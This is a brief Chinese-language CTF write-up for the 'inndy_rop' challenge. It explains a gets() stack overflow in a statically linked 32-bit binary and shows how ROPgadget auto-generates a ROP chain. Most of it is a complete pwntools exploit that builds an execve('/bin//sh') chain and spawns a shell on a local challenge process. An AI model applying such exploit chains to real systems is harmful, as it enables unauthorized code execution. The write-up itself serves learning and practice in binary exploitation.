inndy_rop
头一次见这种题。。。
32位程序,开启了堆栈不可执行。
ida看一眼伪代码。main函数跟前有个函数,进去看一眼。
就一个gets函数,干净利落。。。
可以进行溢出。听大佬们说,这种情况,就是特别ida看起来特复杂,就是静态编译的结果。静态编译就不会调用libc中的东西,所以我们也不存在泄露版本利用libc的函数了。
ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。
ROPgadget --binary rop --ropchain
直接替我们把exp都写好了。。。我们直接复制,加个偏移就好了。。。
记录一下,毕竟没见过。
贴一下完整的exp:
1 from pwn import * 2 from struct import pack 3 4 q = process('./rop') 5 context.log_level = 'debug' 6 7 def payload(): 8 p = 'a'*0xc + 'bbbb' 9 p += pack('<I', 0x0806ecda) # pop edx ; ret 10 p += pack('<I', 0x080ea060) # @ .data 11 p += pack('<I', 0x080b8016) # pop eax ; ret 12 p += '/bin' 13 p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret 14 p += pack('<I', 0x0806ecda) # pop edx ; ret 15 p += pack('<I', 0x080ea064) # @ .data + 4 16 p += pack('<I', 0x080b8016) # pop eax ; ret 17 p += '//sh' 18 p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret 19 p += pack('<I', 0x0806ecda) # pop edx ; ret 20 p += pack('<I', 0x080ea068) # @ .data + 8 21 p += pack('<I', 0x080492d3) # xor eax, eax ; ret 22 p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret 23 p += pack('<I', 0x080481c9) # pop ebx ; ret 24 p += pack('<I', 0x080ea060) # @ .data 25 p += pack('<I', 0x080de769) # pop ecx ; ret 26 p += pack('<I', 0x080ea068) # @ .data + 8 27 p += pack('<I', 0x0806ecda) # pop edx ; ret 28 p += pack('<I', 0x080ea068) # @ .data + 8 29 p += pack('<I', 0x080492d3) # xor eax, eax ; ret 30 p += pack('<I', 0x0807a66f) # inc eax ; ret 31 p += pack('<I', 0x0807a66f) # inc eax ; ret 32 p += pack('<I', 0x0807a66f) # inc eax ; ret 33 p += pack('<I', 0x0807a66f) # inc eax ; ret 34 p += pack('<I', 0x0807a66f) # inc eax ; ret 35 p += pack('<I', 0x0807a66f) # inc eax ; ret 36 p += pack('<I', 0x0807a66f) # inc eax ; ret 37 p += pack('<I', 0x0807a66f) # inc eax ; ret 38 p += pack('<I', 0x0807a66f) # inc eax ; ret 39 p += pack('<I', 0x0807a66f) # inc eax ; ret 40 p += pack('<I', 0x0807a66f) # inc eax ; ret 41 p += pack('<I', 0x0806c943) # int 0x80 42 return p 43 shell = payload() 44 q.sendline(shell) 45 q.interactive()